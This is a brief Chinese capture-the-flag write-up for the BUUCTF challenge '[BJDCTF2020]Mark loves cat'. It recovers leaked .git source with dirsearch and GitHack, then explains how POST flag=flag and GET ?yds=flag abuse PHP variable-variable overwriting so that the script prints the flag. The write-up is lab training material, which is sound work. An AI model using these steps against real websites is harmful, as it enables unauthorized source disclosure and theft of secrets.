buuctf:[BJDCTF2020]Mark loves cat
打开环境,感觉有很多东西,但是也没找到什么特别提示,用dirseach扫扫,看看是否有收获
git源码泄露,用githack将源码下载下来
查看源码
<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag exit($is); } echo "the flag is: ".$flag;
分析一下代码逻辑
forsearch:
post传参和get传参的参数键名和值
首先我们post:$flag=flag
简单好理解一点,我们直接带入第一行后再比较第二行
这样就变成了$$flag = flag
接下来GET:?yds=flag
$x为yds,$y为flag,所以$$x表示$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。$$x = $$y,也就是$yds=flag{XXXXXX}。
看源码
只要没有flag参数,就会exit($yds),就可以得到flag了。